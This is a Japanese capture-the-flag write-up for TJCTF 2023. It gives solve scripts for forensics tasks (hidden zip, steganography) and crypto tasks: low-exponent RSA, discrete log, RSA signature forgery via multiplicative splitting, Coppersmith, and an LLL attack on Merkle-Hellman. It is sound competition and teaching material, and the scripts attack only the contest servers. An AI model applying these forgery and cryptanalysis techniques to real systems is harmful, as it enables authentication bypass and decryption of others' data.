.... ..  .... --- .--  .- .-. .  -.-- --- ..-  -.. --- .. -. --. .-.-.-  - .... .  ..-. .-.. .- --.  .. ...  - .--- -.-. - ..-. - .... .. ... .. ... .- .-.. .-.. --- -. . .-- --- .-. -.. .-.. -- .- ---

https://morsecode.world/international/translator.htmlでデコードする。

HI HOW ARE YOU DOING. THE FLAG IS TJCTFTHISISALLONEWORDLMAO
tjctf{thisisallonewordlmao}

nothing-to-see (forensics)

$ binwalk nothing.png                                   

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             PNG image, 560 x 450, 8-bit/color RGBA, non-interlaced
14751         0x399F          Zip archive data, encrypted at least v2.0 to extract, compressed size: 45, uncompressed size: 38, name: flag.txt
14956         0x3A6C          End of Zip archive, footer length: 22

$ foremost nothing.png
Processing: nothing.png
|foundat=flag.txtUT
*|

zipを抽出できたが、パスワードがかかっている。

$ exiftool nothing.png                              
ExifTool Version Number         : 12.57
File Name                       : nothing.png
Directory                       : .
File Size                       : 15 kB
File Modification Date/Time     : 2023:05:26 09:31:23+09:00
File Access Date/Time           : 2023:05:26 09:42:24+09:00
File Inode Change Date/Time     : 2023:05:26 09:41:25+09:00
File Permissions                : -rwxrwx---
File Type                       : PNG
File Type Extension             : png
MIME Type                       : image/png
Image Width                     : 560
Image Height                    : 450
Bit Depth                       : 8
Color Type                      : RGB with Alpha
Compression                     : Deflate/Inflate
Filter                          : Adaptive
Interlace                       : Noninterlaced
Title                           : panda_d02b3ab3
Warning                         : [minor] Trailer data after PNG IEND chunk
Image Size                      : 560x450
Megapixels                      : 0.252

Titleに設定されている文字列"panda_d02b3ab3"をパスワードと推測し、zipを解凍する。

$ unzip output/zip/00000028.zip
Archive:  output/zip/00000028.zip
[output/zip/00000028.zip] flag.txt password: 
  inflating: flag.txt

$ cat flag.txt        
flag{the_end_is_not_the_end_4c261b91}

正しいフラグの形式に変更する。

tjctf{the_end_is_not_the_end_4c261b91}

neofeudalism (forensics)

$ zsteg image.png -a | grep tjctf
b1,r,msb,yx         .. text: "tjctf{feudalism_still_bad_ea31e43b}Soon after his succession, probably in 1058, Guiscard separated from his wife Alberada because they were related within the prohibited degrees. Shortly after, he married Sichelgaita, the sister of Gisulf II of Salerno, Gu"
tjctf{feudalism_still_bad_ea31e43b}

baby-rsa (crypto)

nが大きく、eが極端に小さいため、Low Public-Exponent Attackで復号する。

#!/usr/bin/env python3
from Crypto.Util.number import *
import gmpy2

with open('output.txt', 'r') as f:
    params = f.read().splitlines()

e = int(params[1].split(' ')[-1])
c = int(params[2].split(' ')[-1])

m, success = gmpy2.iroot(c, e)
assert success == True
flag = long_to_bytes(m).decode()
print(flag)
tjctf{thr33s_4r3_s0_fun_fb23d5ed}

ezdlp (crypto)

DLPの問題。そのままsageに解かせる。

#!/usr/bin/env sage
with open('numbers.txt', 'r') as f:
    params = f.read().splitlines()

g = int(params[0].split(' = ')[1])
s = int(params[1].split(' = ')[1])
p = int(params[2].split(' = ')[1])

R = IntegerModRing(p)
x = discrete_log(R(s), R(g))
flag = 'tjctf{%d}' % x
print(flag)
tjctf{26104478854569770948763268629079094351020764258425704346666185171631094713742516526074910325202612575130356252792856014835908436517926646322189289728462011794148513926930343382081388714077889318297349665740061482743137948635476088264751212120906948450722431680198753238856720828205708702161666784517}

iheartrsa (crypto)

サーバの処理概要は以下の通り。

・raw_bin: flagのsha256ダイジェスト(hex)の数値を2進数にしたもの
・hsh: rawbinの10進数の値に2**256を足した値
・p, q: 1024ビット素数
・n = p * q
・e = 0
・iが0以上100未満に対して、以下を実行
 ・pow(hsh, i) がn以上の場合
  ・e = i
  ・ループを抜ける
・m = pow(hsh, e, n)
・m, nを表示
・answer: 入力
・answerがhshと同じ場合、フラグを表示

何回か試してみたところ、eは8になる。さらにpow(hsh, e) // n は256より小さいので、総当たりで m + n * K(256未満) の8乗根が整数になるものを探して復号する。

#!/usr/bin/env python3
import socket
from gmpy2 import *

def recvuntil(s, tail):
    data = b''
    while True:
        if tail in data:
            return data.decode()
        data += s.recv(1)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('tjc.tf', 31628))

data = recvuntil(s, b'\n').rstrip()
print(data)
m = int(data.split(' ')[-1])
data = recvuntil(s, b'\n').rstrip()
print(data)
n = int(data.split(' ')[-1])

e = 8
for i in range(256):
    c = m + n * i
    hsh, success = gmpy2.iroot(c, e)
    if success:
        break

print(str(hsh))
s.sendall(str(hsh).encode() + b'\n')

data = recvuntil(s, b'\n').rstrip()
print(data)
data = recvuntil(s, b'\n').rstrip()
print(data)

実行結果は以下の通り。

m: 7473437009094145356480020959416772031102247339528911282515743824557656860179084290486381182872093426883049985253796658410702040799123245288969929653544099656693213785395325928709980685920946675627334539837324408155880226928656812447786479847879974397034448497489356669996925660107582099259060026543482425446978084239507075454118407151120826264564922484847738539364334477974763367113423196508171127243351596984588181845203564091087736487331836830690339936224960040865585390403459269148622495729469341978212165527925266673639797940920948835324297642394173647797283491875132666721278358296226966118370679542177116190129
n: 13096403248546190002694627702576409123466030137717456502180208052213110225765926488997060926675147006421557325016457030029465194276759448763137147150380852193933067643589719927987210326300205145633287269903386071439176724067237135566308261803807498094108911257090939178802523349738468324333081726850661727030387539343138348324618356049610224434850023639811253131266648820467075701523840293189958226298423787455949034049867884147879799154837539172765225223288973351784406853699018319668821273649392409919144626966380852828552180624337205900645518387175977847035095758763041670763254765787204722904502970404016754337087
146913410772757766194482407144214295333114411765260602423197339861209058274813
you love rsa so i <3 you :DD
tjctf{iloversaasmuchasilovemymom0xae701ebb}
tjctf{iloversaasmuchasilovemymom0xae701ebb}

squishy (crypto)

サーバの処理概要は以下の通り。

・e = 65537
・users = {b"admin"}
・p, q: 1000ビット素数
・n = p * q
・d = pow(e, -1, (p - 1) * (q - 1))
・nを表示
・以下繰り返し
 ・cmd: 入力
 ・cmdが"new"の場合
  ・name: 入力
  ・usersにない場合
   ・usersにnameを追加
   ・nameとsign(name)を表示
    ・sign(name) = pow(nameの数値, d, n)
 ・cmdが"login"の場合
  ・name: 入力
  ・sig: 入力
  ・check(name, sig)がTrueでusersにnameがある場合
   ・nameが"admin"の場合、フラグを表示

"admin"の数値化したものをmとする。それを整数の積にできた場合、以下のようになる。

m = m1 * m2
sig1 = pow(m1, d, n)
sig2 = pow(m2, d, n)
sig = pow(m, d, n) = pow(m1, d, n) * pow(m2, d, n) % n
    = (sig1 * sig2) % n

このことを使って、"admin"のsignの値を算出できる。

#!/usr/bin/env python3
import socket
from Crypto.Util.number import *

def recvuntil(s, tail):
    data = b''
    while True:
        if tail in data:
            return data.decode()
        data += s.recv(1)

name = b'admin'
name1 = long_to_bytes(2)
name2 = long_to_bytes(bytes_to_long(name) // 2)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('tjc.tf', 31358))

data = recvuntil(s, b'\n').rstrip()
print(data)
n = int(data)

data = recvuntil(s, b': ')
print(data + 'new')
s.sendall(b'new\n')
data = recvuntil(s, b': ')
print(data, end='')
print(name1)
s.sendall(name1 + b'\n')
data = recvuntil(s, b'\n').rstrip()
print(data)
sig1 = int(data.split(' ')[-1])

data = recvuntil(s, b': ')
print(data + 'new')
s.sendall(b'new\n')
data = recvuntil(s, b': ')
print(data, end='')
print(name2)
s.sendall(name2 + b'\n')
data = recvuntil(s, b'\n').rstrip()
print(data)
sig2 = int(data.split(' ')[-1])

sig = (sig1 * sig2) % n
data = recvuntil(s, b': ')
print(data + 'login')
s.sendall(b'login\n')
data = recvuntil(s, b': ')
print(data + name.decode())
s.sendall(name + b'\n')
data = recvuntil(s, b': ')
print(data + str(sig))
s.sendall(str(sig).encode() + b'\n')
data = recvuntil(s, b'\n').rstrip()
print(data)
data = recvuntil(s, b'\n').rstrip()
print(data)

実行結果は以下の通り。

105016252217463226099247970713072779048523346606238962374159325305510218533174465475455223987113731660954500879726529805872856394474290621754499404318284283313974140926169043422902497727228964126469172548629427270876979785200295821734987202265706136838037700084951185360905381041052926662451679706277452529619142906035627518649668743598011063555073908786437500733044443134023811922211885949954535292653086302935098022667660516584828568578072614514798306107708909835336204501747732947354530976286808332087982399374949108977950803540019285510971518824499095532060363054891875686906054176478419720604870977
Cmd: new
Name: b'\x02'
b'\x02' 27987642186633783753071812826627869071712610172276252030207450486901147072303022655721187162293140107927650707038629009308440587532129013675613899118267323353097515834991953468624614613505795057107800047399719346986615886246839210355499728172718543776010138234672190402693839166719734746021277380343464994356980436158677763377397418765719970581552166016914032527359214394144511747477207573185040553905370611916484297671851865609402708678196756141147645352747332971534097131775666150943267562526533493882767559337253705299542682556296532559106434678929474725885000072684205784758171043773506724667026263
Cmd: new
Name: b'0\xb26\xb4\xb7'
b'0\xb26\xb4\xb7' 36133206675016908158449227930106089839155287495692400592499185501974482669426209728058178752262282758010351932760402191742734219009736181079112629111289896066012456574725153485206425267636021264062447901445555317003609779791403748375779738372659513775838937139492785891280087543301913961399205487434005838123882796335164377806739325253728535919544468119778424531898880765004292570763397378742969053078067637427926335540432338791955783305967160896300280917086996445011990764532714708005012855204459121604184546864135602537229181336259738973929157165265398152058729969794146017369822570656809235969152673
Cmd: login
Name: admin
Sign: 86774681825057547283268736515017484149613881281810308000588179350226341888122542538601892979209213401942189336487554173754605133029023901542734238165556294168959505202214864214216501139962007061680568161716558514121283302421397473457722060438120312482535481843440310128898570320565069488567556125485290257391078969482524244989991831009441817897234667474397465576871492088680838997980795703772873003381527872693295941543171916758084320933773691734539164527649463634911948599498925145788916441856983280147279126651268047324439287170675508136490904584532665421971452252297405844851611731686699559783002803
Hey how'd that happen...
tjctf{sQuIsHy-SqUiShY-beansbeansbeans!!!!!!}
tjctf{sQuIsHy-SqUiShY-beansbeansbeans!!!!!!}

e (crypto)

平文の上位ビットがわかっているので、Coppersmithの定理を使って復号する。

#!/usr/bin/env sage
from Crypto.Util.number import *

with open('output.txt', 'r') as f:
    params = f.read().splitlines()

N = int(params[0].split(' ')[-1])
C = int(params[1].split(' ')[-1])
e = int(params[2].split(' ')[-1])

for i in range(1, 64):
    kbits = i * 8
    mbar = bytes_to_long(b'the challenges flag is tjctf{') * (256 ** i)

    PR.<x> = PolynomialRing(Zmod(N))
    f = (mbar + x)^e - C
    x = f.small_roots(X=2^kbits, beta=1)
    if len(x) != 0:
        m = int(mbar + x[0])
        break

msg = long_to_bytes(m).decode()
print(msg)

実行結果は以下の通り。

the challenges flag is tjctf{coppersword2}
tjctf{coppersword2}

merky-hell (crypto)

暗号化処理の概要は以下の通り。

・n = 48
・pub, _ = makeKey()
 ・W = []
 ・s = 0
 ・n未満のiについて以下を実行
  ・curr = 0
  ・iが0以外の場合
   ・curr = randint((2**i - 1) * 2**n + 1, 2**(i+n))
  ・iが0の場合
   ・curr = randint(1, 2**n)
  ・s += curr
  ・Wにcurrを追加
 ・q = randint((1 << (2 * n + 1)) + 1, (1 << (2 * n + 2)) - 1)
 ・r = randint(2, q - 2)
 ・r //= gcd(r, q)
 ・B = []
 ・Wの各値wについて以下を実行
  ・Bに(r * w) % qを追加
 ・B, (W, q, r)を返却
・sup_sec_num: ランダムnビット整数
・msg = encrypt(pub, sup_sec_num)
 ・sup_sec_numの上位ビットから各ビットが立っている場合、対応するpublic[i]を足す。
・iv: ランダム16バイト
・key: sup_sec_numをバイト文字列化し、パディング
・ct: flagをパディングし、AES-CBC暗号化
・B, msg, iv, ctを出力

Wは超増加数列で、Bは(r * w) % qになっている。Merkle-Hellmanナップサック暗号になっており、シャミアの攻撃法でsup_sec_numを復号する。あとはkeyを算出し、AES-CBC復号すればフラグになる。

#!/usr/bin/env sage
from Crypto.Util.number import *
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad

with open('output.txt', 'r') as f:
    params = f.read().splitlines()

B = eval(params[0].split(' = ')[1])
msg = int(params[1].split(' = ')[1])
iv = bytes.fromhex(params[2].split(' = ')[1])
ct = bytes.fromhex(params[3].split(' = ')[1])

n = len(B)

d = float(n / log(max(B), 2))

MULTIPLIER = 100
M = matrix(ZZ, n + 1, n + 1)
M.set_block(0, 0, MULTIPLIER * matrix(n, 1, B))
M.set_block(n, 0, MULTIPLIER * matrix([-msg]))
M.set_block(0, 1, 2 * identity_matrix(n))
M.set_block(n, 1, matrix([-1] * n))

for x in M.LLL():
    if all(x_i in [-1, +1] for x_i in x[1:]):
        sup_sec_num = 0
        for x_i in x[1:]:
            sup_sec_num *= 2
            sup_sec_num += int(x_i == +1)
        break

key = pad(long_to_bytes(sup_sec_num), 16)
cipher = AES.new(key, AES.MODE_CBC, iv=iv)
flag = unpad(cipher.decrypt(ct), 16).decode()
print(flag)
tjctf{knaps4ck-rem0v4L0-CreEEws1278bh}

survey (misc)

アンケートに答えたらフラグが表示された。

tjctf{thanks_for_playing}